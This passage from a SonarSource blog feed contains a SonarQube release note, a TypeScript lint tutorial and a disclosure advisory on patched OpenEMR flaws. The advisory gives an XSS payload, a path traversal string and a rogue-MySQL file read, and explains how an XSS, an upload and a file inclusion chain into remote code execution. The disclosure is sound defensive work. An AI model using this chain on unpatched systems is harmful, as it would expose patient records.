Analysis&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;The best analysis results are only good if they come fast – that’s why we’ve done considerable work implementing incremental analysis and server-side caching to improve the speed of Pull Request analysis. You can now enjoy fast PR analysis – more than twice as fast as before for your programming language. Plus, you’ll notice an average of 60% faster and up to 90% faster first full project analysis for Git-based projects.  &lt;/p&gt;&lt;h3&gt;&lt;strong&gt;Secure CloudNative Applications&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;With this LTS, we’ve added many rules for major cloud providers and their underlying technologies for secure development and deployment of Cloud Native applications.  &lt;/p&gt;&lt;ul&gt;&lt;li&gt;AWS: Deliver secure AWS infrastructure with new Terraform and CloudFormation rules. Plus new rules that cover the use of AWS CDK in Python and JavaScript/TypeScript as well as rules that help write secure application logic with AWS Lambdas using Serverless/SAM frameworks.&lt;/li&gt;&lt;li&gt;GCP &amp;amp; Microsoft Azure: New Terraform rules to secure your application deployment. &lt;/li&gt;&lt;li&gt;Containerized deployment: New rules that analyze Docker and Kubernetes config files to weed out any potential security pitfalls. &lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;strong&gt;Enterprise-grade features for your scaling organization&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;Administration, management, governance, and internal/external compliance of your SonarQube instance is easier! We’ve added new reports such as PCI DSS, OWASP ASVS, project-level reports, and PDFs. Plus audit-logging, user communication, secure token handling, SCIM integration, support for SAML request signing &amp;amp; assertion encryption, and many other features!  &lt;/p&gt;&lt;h3&gt;&lt;strong&gt;Lots of new rules, including Android taint analysis; better precision &amp;amp; accuracy&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;SonarQube brings new rules for Kotlin and Java to deliver safe, compliant Android apps. Plus improved precision, speed, and coverage of the taint analysis engine and rich educational content to make taint analysis rules easy to understand and contextual to your source code and framework. And you&amp;#x27;ll find new rules and support for new language versions for the languages you program in. &lt;/p&gt;&lt;h3&gt;&lt;strong&gt;UX improvements in-app &amp;amp; IDE&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;Many improvements in the UI for better issue clarity &amp;amp; focus; plus enhancements to the quality gate UX to help everyone implement and practice Clean as You Code. Writing code with Sonar is even more streamlined with real-time synch of Quality Profiles in the IDE with SonarLint, and an easier Connected Mode setup for a streamlined Clean Code delivery.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These are just a few highlights – See the &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/lts/9-9-lts/&quot;&gt;&lt;strong&gt;FULL SONARQUBE 9.9 LTS RELEASE ANNOUNCEMENT&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&lt;h2&gt;But wait, tell me more – why &amp;amp; how should I upgrade? &lt;/h2&gt;&lt;p&gt;There are many benefits to upgrading. The 9.9 SonarQube Long-Term-Support provides a cumulative value of all the capabilities from the previous LTS release (version 8.9; released May 4, 2021) and is the most stable LTS version of the product. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By migrating to the new version, you can get all the latest improvements, fixes, new functionality, and an overall stable product to deploy in your organization. Given the release of SQ 9.9 LTS, we will now phase out our support of the previous LTS (8.9 version) –  which means that bug fixes will not be patched on the older releases and we recommend you upgrade to the latest. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Upgrading should be easy:  &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Refer to the &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/9.9/setup-and-upgrade/lts-to-lts-release-upgrade-notes/&quot;&gt;LTS-to-LTS upgrade notes&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Follow the &lt;a href=&quot;https://docs.sonarqube.org/latest/setup-and-upgrade/upgrade-the-server/upgrade-guide/&quot;&gt;Upgrade Guide&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And we are here to help if you have any questions. Refer to the &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;Sonar Community&lt;/a&gt; for any questions or get direct help from your &lt;a href=&quot;https://www.sonarsource.com/support/&quot;&gt;Commercial support team&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;Attend the LTS webinar – see the new capabilities live!&lt;/h2&gt;&lt;p&gt;There&amp;#x27;s nothing better than hearing from us live, in a setting where you can see the features in action, get an opportunity to ask questions, and even hear from customers who are ready to upgrade. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On Feb 16, 2023, Jeff Zapotoczny, Sales Engineering Lead, and I, Kirti Joshi - Product Marketing Lead will be hosting three region-specific webinars. &lt;/p&gt;&lt;h3&gt;&lt;strong&gt;Who should attend?&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;Current customers, users, or those intending to use Sonar for Clean Code&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Choose a time that works best for you and see you there!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;APAC - February 16th @ 1:30 PM AEST    &lt;a href=&quot;https://sonarsource.zoom.us/webinar/register/6016714649901/WN_GgpOSTGvR76obQ7iDWXIeg&quot;&gt;Register for APAC here&lt;/a&gt;&lt;/li&gt;&lt;li&gt;EMEA - February 16th @ 2 PM CET          &lt;a href=&quot;https://sonarsource.zoom.us/webinar/register/8916714649526/WN_Tn7pg6csSy6tRHcI43uoNw&quot;&gt;Register for EMEA here&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Americas - February 16th @ 12 PM CST  &lt;a href=&quot;https://sonarsource.zoom.us/webinar/register/8316714649247/WN_tfXtrDAKQAGAVk0UQY6lbg&quot;&gt;Register for Americas here&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Common TypeScript Issues Nº 5: Optional property declarations]]></title><description><![CDATA[We crunched the data from SonarLint to discover the top 5 most common TypeScript issues. In this 5 part series, we outline each issue and how to avoid it.]]></description><link>https://www.sonarsource.com/blog/common-typescript-issues-no-5-optional-property-declarations</link><guid isPermaLink="false">d80bab32-2a29-59ec-bf5f-3fc977b62b93</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Mon, 30 Jan 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We crunched the data from SonarLint to discover the top 5 most common TypeScript issues. In this 5 part series, we outline each issue and how to avoid it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We encourage you to &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;install SonarLint in your editor&lt;/a&gt; and follow along with the examples below. Make sure you have a valid &lt;code&gt;tsconfig.json&lt;/code&gt; in your working directory or run &lt;code&gt;npx tsc --init&lt;/code&gt; to create one.&lt;/p&gt;&lt;h2&gt;In at Nº 5: Optional property declarations&lt;/h2&gt;&lt;p&gt;Optional object properties are properties that can hold a value or be &lt;code&gt;undefined&lt;/code&gt;. In TypeScript there are a few ways to declare an optional object property.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can use a union, like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// index.ts
interface Person {
  name: string;
  address: string | undefined;
}

const john: Person = {
  name: &quot;John&quot;,
};
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This might look fine, but if you check it out in your editor you’ll see that the TypeScript compiler doesn’t agree. To fulfill the type definition you need to provide the &lt;code&gt;address&lt;/code&gt; property on the object even if it is &lt;code&gt;undefined&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// index.ts
interface Person {
  name: string;
  address: string | undefined;
}

const john: Person = {
  name: &quot;John&quot;,
  address: undefined,
};
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Alternatively, you can use the optional property syntax like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// index.ts
interface Person {
  name: string;
  address?: string;
}

const john: Person = {
  name: &quot;John&quot;,
};
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now TypeScript is happy with this, which means that using the optional property syntax must be behaving differently to the union type we started with.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With the first example, we are requiring that the property is &lt;em&gt;always&lt;/em&gt; defined, even when the value itself is &lt;code&gt;undefined&lt;/code&gt;. This is important in cases when you enumerate the properties of an object. That is, whether the &lt;code&gt;address&lt;/code&gt; property is set to &lt;code&gt;undefined&lt;/code&gt; or to a string, accessing &lt;code&gt;Object.keys(john).length&lt;/code&gt; will always return &lt;code&gt;2&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With the second example using &lt;code&gt;?&lt;/code&gt; we are saying that it is OK if the property is not defined at all. Technically both examples mean accessing the &lt;code&gt;address&lt;/code&gt; property on the object &lt;code&gt;john&lt;/code&gt; will evaluate to &lt;code&gt;undefined&lt;/code&gt;, but in the second example &lt;code&gt;Object.keys(john).length&lt;/code&gt; is now &lt;code&gt;1&lt;/code&gt;. Each version communicates to other developers in your project the way you expect this interface to be used, either the &lt;code&gt;address&lt;/code&gt; property should be explicitly set, or it doesn’t matter if it is set or not.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Which brings us to number 5 in our list of common TypeScript issues: &lt;a href=&quot;https://rules.sonarsource.com/typescript/RSPEC-4782&quot;&gt;optional property declarations should not use both `?` and `undefined` syntax.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Try the following code in your editor with SonarLint:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// index.ts
interface Person {
  name: string;
  address?: string | undefined;
}

const john: Person = {
  name: &quot;John&quot;,
};
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Perhaps this happens when you first write the union type of &lt;code&gt;string | undefined&lt;/code&gt; and then you find that TypeScript complains that you aren’t explicitly setting the property everywhere. So you add the optional property syntax to it and the compilation errors go away.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, now your type gives no indication of how it should be used. The optional syntax means that you don’t need to provide the property explicitly, but the union type suggests that you should. As discussed above, using either option communicates your intention to other developers in the project, but using both communicates nothing and is ultimately confusing. This lint rule ensures that you pick one or the other and avoid confusion:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1cf91d51-3b55-422d-952c-c1697495b10f/optional-property.gif&quot; /&gt;&lt;p&gt;If you want to avoid getting caught by this TypeScript issue you can default to using the optional property syntax and use the union type with caution. If you have SonarLint installed in your editor then you won’t make this mistake because you will be alerted as it happens.&lt;/p&gt;&lt;h2&gt;What’s coming next?&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://rules.sonarsource.com/typescript/RSPEC-4782&quot;&gt;Optional property declarations&lt;/a&gt; place fifth in our list of the top 5 most common TypeScript issues. Next week we&amp;#x27;ll reveal fourth place on the list.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Is this a mistake you’ve made before and did you think it would be so common? What do you think will make up the rest of the top 5? Let us know on Twitter at &lt;a href=&quot;https://twitter.com/sonarsource&quot;&gt;@SonarSource&lt;/a&gt; or in the &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;community&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[OpenEMR - Remote Code Execution in your Healthcare System]]></title><description><![CDATA[We recently discovered three vulnerabilities that allow arbitrary code execution on OpenEMR. Let’s see what we can learn from them and discuss their patches!]]></description><link>https://www.sonarsource.com/blog/openemr-remote-code-execution-in-your-healthcare-system</link><guid isPermaLink="false">2aae99a8-53d6-5162-9197-c0ed30799e9c</guid><dc:creator><![CDATA[Dennis Brinkrolf]]></dc:creator><pubDate>Wed, 25 Jan 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;OpenEMR is the most popular open-source software for electronic health records and medical practice management. It is used worldwide to manage sensitive patient data, including information about medications, laboratory values, and diseases. Patients use OpenEMR to schedule appointments, communicate with physicians, and pay online invoices. Specifically, in these tumultuous times of an ongoing pandemic, this is highly sensitive data, and protecting it is a concern for everyone. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;During our security research of popular web applications, we discovered several code vulnerabilities in OpenEMR. A combination of these vulnerabilities allows remote attackers to execute arbitrary system commands on any OpenEMR server and to steal sensitive patient data. In the worst case, they can compromise the entire critical infrastructure.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our SAST engine discovered two code vulnerabilities that, in combination, led to unauthenticated remote code execution. This blog post analyzes the technical causes of the vulnerabilities, their impact, and how you can prevent them in your code. &lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;We discovered the following vulnerabilities in OpenEMR:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Unauthenticated File Read &lt;/li&gt;&lt;li&gt;Authenticated Local File Inclusion&lt;/li&gt;&lt;li&gt;Authenticated Reflected XSS&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;An unauthenticated, remote attacker can chain these vulnerabilities to gain code execution on a server running OpenEMR version lower than 7.0.0.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We reported all issues responsibly to the OpenEMR maintainers, who immediately released a &lt;a href=&quot;https://www.open-emr.org/wiki/index.php/OpenEMR_Patches#7.0.0_Patch_.2811.2F30.2F22.29&quot;&gt;patch&lt;/a&gt; to version 7.0.0 to protect all users.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we dive deep into the technical details of three vulnerabilities. First, we show how a rogue MySQL server can read arbitrary files from an OpenEMR instance. Then we discuss two other vulnerabilities and show how their combination allows unauthenticated, remote code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Unauthenticated Arbitrary File Read&lt;/h3&gt;&lt;p&gt;In OpenEMR, the installer does not delete itself after a successful installation. Furthermore, the setup is divided into several steps, and an unauthenticated user can perform some of these via the user-controlled parameter &lt;code&gt;$state&lt;/code&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A complete reinstallation is impossible, but attackers can specify a configuration during the setup steps by setting the properties of the &lt;code&gt;Installer&lt;/code&gt; class (&lt;code&gt;$_REQUEST&lt;/code&gt;). Afterward, the method &lt;code&gt;displayNewThemeDiv&lt;/code&gt; is called:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;setup.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
// ...
$state = isset($_POST[&quot;state&quot;]) ? ($_POST[&quot;state&quot;]) : &apos;&apos;;
$installer = new Installer($_REQUEST);
// ...
if ($state == 7) {
// ...
$installer-&gt;displayNewThemeDiv();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;displayNewThemeDiv&lt;/code&gt; method invokes the &lt;code&gt;getCurrentTheme&lt;/code&gt; method. During this call, a MySQL query is executed, which reads the current theme from the database. Since no database connection is established yet, a new one is created with the attacker-controlled properties set via the &lt;code&gt;Installer&lt;/code&gt; constructor:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;library/classes/Installer.class.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
// ...
class Installer
{
 public function __construct($cgi_variables)
 {
   $this-&gt;server = $cgi_variables[&apos;server&apos;];
   $this-&gt;port = $cgi_variables[&apos;port&apos;];
   $this-&gt;login = $cgi_variables[&apos;login&apos;];
   $this-&gt;pass = $cgi_variables[&apos;pass&apos;];
   $this-&gt;dbname = $cgi_variables[&apos;dbname&apos;];
   // ...
 }
 // ...

 private function connect_to_database($server, $user, $password, $port, $dbname = &apos;&apos;)
 {
   $ok = mysqli_real_connect($mysqli, $server, $user, $password, $dbname,   $port);
   // ...
 }

 public function user_database_connection()
 {
   $this-&gt;dbh = $this-&gt;connect_to_database($this-&gt;server, $this-&gt;login, $this-&gt;pass, $this-&gt;port, $this-&gt;dbname);
   // ...
 }
 // ...

 public function getCurrentTheme()
 {
   $current_theme =  $this-&gt;execute_sql(&quot;SELECT gl_value FROM globals WHERE gl_name LIKE &apos;%css_header%&apos;&quot;);
   // ...
 }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To conclude, an unauthenticated attacker can perform a database query on their own server. But how does that lead to an arbitrary file read?&lt;/p&gt;&lt;p&gt;The MySQL statement &lt;code&gt;LOAD DATA&lt;/code&gt; can be used to load the contents of a file into a database table. If the modifier &lt;code&gt;LOCAL&lt;/code&gt; is given, the file is read from the client instead of the server. The MySQL packets exchanged during this command look like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3fa38690-5701-4cbe-88e3-12facbffec3b/OpenEMR%20graphics.png&quot; /&gt;&lt;p&gt;As the image shows, the server actively requests the contents of the specified file. A malicious server can request the content of another file, even in response to a totally different query from the client.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since this feature is insecure, it has been disabled by default for the PHP MySQL client.  However, OpenEMR uses the &lt;code&gt;LOAD DATA&lt;/code&gt; statements to load, e.g., definitions of diseases, into the database. For this reason, it is expected that the directive &lt;code&gt;mysqli.allow_local_infile=On&lt;/code&gt; is set via &lt;code&gt;php.ini&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In other words, if OpenEMR is set up correctly, an unauthenticated attacker can read files like certificates, passwords, tokens, and backups from an OpenEMR instance via a rogue MySQL server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Unauthenticated Remote Code Execution using an Exploit Chain&lt;/h3&gt;&lt;p&gt;This section demonstrates how we can achieve unauthenticated remote code execution using two different vulnerabilities discovered by our SAST engine. As an entry point, a reflected Cross-Site-Scripting (XSS) is used to execute arbitrary JavaScript in the victim&amp;#x27;s browser. Since an attacker can issue requests on behalf of the victim, they have the same privileges as the victim. As a first step, the attacker can upload a PHP file. However, the uploaded PHP file is located in a folder where a &lt;code&gt;.htaccess&lt;/code&gt; file blocks direct access, preventing the PHP file from being executed. Therefore, a second vulnerability, which allows attackers to include local files (LFI), is used to achieve remote code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s take a look at the root cause of the reflected XSS. The attacker-controlled &lt;code&gt;REQUEST_URI&lt;/code&gt; is passed as a string to the JavaScript function &lt;code&gt;dopopup&lt;/code&gt;. Furthermore, the &lt;code&gt;dopopup&lt;/code&gt; function is the target of the &lt;code&gt;onclick&lt;/code&gt; event handler inside the HTML &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; Tag. The event handlers in the browser have a unique behavior that we will discuss briefly, but first, we need to look at the &lt;code&gt;REQUEST_URI&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;interface/forms/eye_mag/php/eye_mag_functions.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;a onclick=&quot;dopopup(&apos;&lt;?php echo $_SERVER[&apos;REQUEST_URI&apos;] . &apos;&amp;display=fullscreen&amp;encounter=&apos; . $encounter; ?&gt;&apos;);&quot;
href=&quot;JavaScript:void(0);&quot;&gt;&lt;/a&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://sonarcloud.io/project/issues?resolved=false&amp;sonarsourceSecurity=xss&amp;types=VULNERABILITY&amp;id=SonarSourceResearch_openemr-blogpost&amp;open=AYXtQ1qyDgoxwr2lUbaj&quot;&gt;&lt;strong&gt;XSS: Try it by yourself on SonarCloud!&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The user-controlled input &lt;code&gt;REQUEST_URI&lt;/code&gt; contains the entire URI that the browser uses to request the PHP file. In all modern browsers, single and double quotes are URL-encoded inside an HTTP query string. That&amp;#x27;s why an attacker can&amp;#x27;t easily break out a quoted context. However, this is where an attacker can take advantage of the unique behavior of event handlers in the browser.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A browser has different orders of how each component is rendered. In our case, the HTML is rendered first, followed by the JavaScript context. As a result, HTML entities can be used within an event handler since the browser decodes them. An &lt;code&gt;&amp;amp;apos;&lt;/code&gt; thus becomes a single quote. Note that the two characters needed to represent an HTML entity: &lt;code&gt;&amp;amp;&lt;/code&gt; and &lt;code&gt;;&lt;/code&gt; are not URL-encoded by the browser. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the following table, the individual steps are shown. The first column of the table represents the request by the browser, while the second column shows the HTTP response. In the third step, the browser &amp;quot;normalizes&amp;quot; the HTML entity &lt;code&gt;&amp;amp;apos;&lt;/code&gt; leading to a reflected XSS. &lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;1. Request URI&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;2. HTTP Response&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;3. Browser rendering&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;index.php?a=1&amp;amp;apos;);alert(1);//&lt;/td&gt;&lt;td&gt;&amp;lt; a onlick=”dopopup(‘/index.php?a=1&amp;amp;apos;);alert(1);// ’)”&amp;gt;&lt;/td&gt;&lt;td&gt;&amp;lt; a onlick=”dopopup(‘/index.php?a=1’);alert(1);// ’)”&amp;gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The second vulnerability is a straightforward Local File Inclusion (LFI) vulnerability. As the following code snippet shows, the user-controlled variable &lt;code&gt;$formname&lt;/code&gt; is concatenated to a path. If the file exists, it is included:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;interface/forms/LBF/new.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
// ...
$formname = isset($_GET[&apos;formname&apos;]) ? $_GET[&apos;formname&apos;] : &apos;&apos;;
// ...
if (!$from_trend_form) {
  $fname = $GLOBALS[&apos;OE_SITE_DIR&apos;] . &quot;/LBF/$formname.plugin.php&quot;;
  if (file_exists($fname)) {
    include_once($fname);
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://sonarcloud.io/project/issues?resolved=false&amp;sonarsourceSecurity=file-manipulation&amp;id=SonarSourceResearch_openemr-blogpost&amp;open=AYXtQ1vlDgoxwr2lUbcp&quot;&gt;&lt;strong&gt;LFI: Try it by yourself on SonarCloud!&lt;/strong&gt;&lt;/a&gt;  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since the user-controlled variable &lt;code&gt;$formname&lt;/code&gt; is not sanitized, an attacker can select other folders on the server via a path traversal payload like &lt;code&gt;a/LBF/../../var/www/&lt;/code&gt;. However, the filename is restricted to files with the suffix &lt;code&gt;.plugin.php&lt;/code&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to upload such a file, an attacker can leverage the file upload functionality shown in the following code snippet. The name of uploaded files is composed of the PHP function &lt;code&gt;time&lt;/code&gt; and the attacker-controlled name of the uploaded file &lt;code&gt;$_FILES[&amp;#x27;uploaded&amp;#x27;][&amp;#x27;name&amp;#x27;]&lt;/code&gt;. Since there is no file extension check, files with the suffix &lt;code&gt;.plugin.php&lt;/code&gt; can be uploaded. Note that the &lt;code&gt;time&lt;/code&gt; function returns the current Unix timestamp and provides no security:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;interface/billing/edi_271.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
// ...
if (isset($_FILES) &amp;&amp; !empty($_FILES)) {
  $target = time() . basename($_FILES[&apos;uploaded&apos;][&apos;name&apos;]);
  // ...
  $file_moved = move_uploaded_file($_FILES[&apos;uploaded&apos;][&apos;tmp_name&apos;], $target);
  // ...
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In summary, an attacker can use the reflected XSS, upload a PHP file named &lt;code&gt;payload.plugin.php&lt;/code&gt; and then use the path traversal via the Local File Inclusion to execute the PHP file. It takes a few tries to figure out the appropriate Unix timestamp but eventually leads to remote code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;The OpenEMR maintainers addressed all vulnerabilities and hardened the application further:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;A combination of sessions and CSRF checks are used to patch the arbitrary file read vulnerability and to restrict the installation process more. An unauthenticated attacker must go through the installation steps in the correct order. When a config file already exists in an installed OpenEMR instance, the setup process fails in the first step. In the future, it is planned to remove the need for &lt;code&gt;mysqli.allow_local_infile=On&lt;/code&gt; (&lt;a href=&quot;https://github.com/openemr/openemr/commit/0ea6e5802566fbd6cf1c7a4f279654f34a7f9d36&quot;&gt;0ea6e580&lt;/a&gt;).&lt;/li&gt;&lt;li&gt;The function &lt;code&gt;attr_js,&lt;/code&gt; which calls the PHP function &lt;code&gt;htmlspecialchars&lt;/code&gt; encodes the important character &lt;code&gt;&amp;amp;&lt;/code&gt; for an HTML entity into an entity. As a result, escaping the context is no longer possible, which prevents the XSS vulnerability (&lt;a href=&quot;https://github.com/openemr/openemr/commit/4b915404cc7bfd4f4e90d1f34fbf74cff5c143a3&quot;&gt;4b915404&lt;/a&gt;).&lt;/li&gt;&lt;li&gt;To prevent the Local File Inclusion vulnerability, the user-controlled parameter is sanitized by a regex, allowing only alphanumeric chars, to prevent path traversal. The file upload feature now checks for PHP extensions (&lt;a href=&quot;https://github.com/openemr/openemr/commit/10b3cb3bccfb21db8a79c959c9ba968012133064&quot;&gt;10b3cb3b&lt;/a&gt;).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;OpenEMR cannot always guarantee that the setup process will completely delete the installation files. If you develop an application with a built-in setup flow, you must decide whether you deliberately keep them (in the case of OpenEMR) or try to delete them. In any case, you should always check if the application is already installed first. If so, the execution should be terminated as soon as possible. Moreover, always try to sanitize every user input and apply the respective sanitizer in the specific context.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-10-24&lt;/td&gt;&lt;td&gt;We report all issues to the vendor.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-10-30&lt;/td&gt;&lt;td&gt;Vendor confirms the issues and sends us patches.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-11-30&lt;/td&gt;&lt;td&gt;Vendor releases version 7.0.0.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post, we analyzed three code vulnerabilities found in OpenEMR, the most popular open-source software for electronic health records and medical practice management.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We outlined how an attacker-controlled MySQL configuration could lead to an arbitrary file read. We also demonstrated how combining two code vulnerabilities, Cross-Site Scripting, and Local File Inclusion both detected by our SAST engine, can lead to a takeover of any OpenEMR instance. Furthermore, we discussed the patches and showed how to prevent such issues in your PHP code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you are using OpenEMR, we strongly recommend updating to the fixed versions mentioned above. Finally, we want to thank the OpenEMR team for their professional and fast responses and patches!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/openemr-5-0-2-1-command-injection-vulnerability/&quot;&gt;Code vulnerabilities put health records at risk&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/pandora-fms-742-critical-code-vulnerabilities-explained/&quot;&gt;Pandora FMS 742: Critical Code Vulnerabilities Explained&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/remote-code-execution-in-melis-platform/&quot;&gt;Remote Code 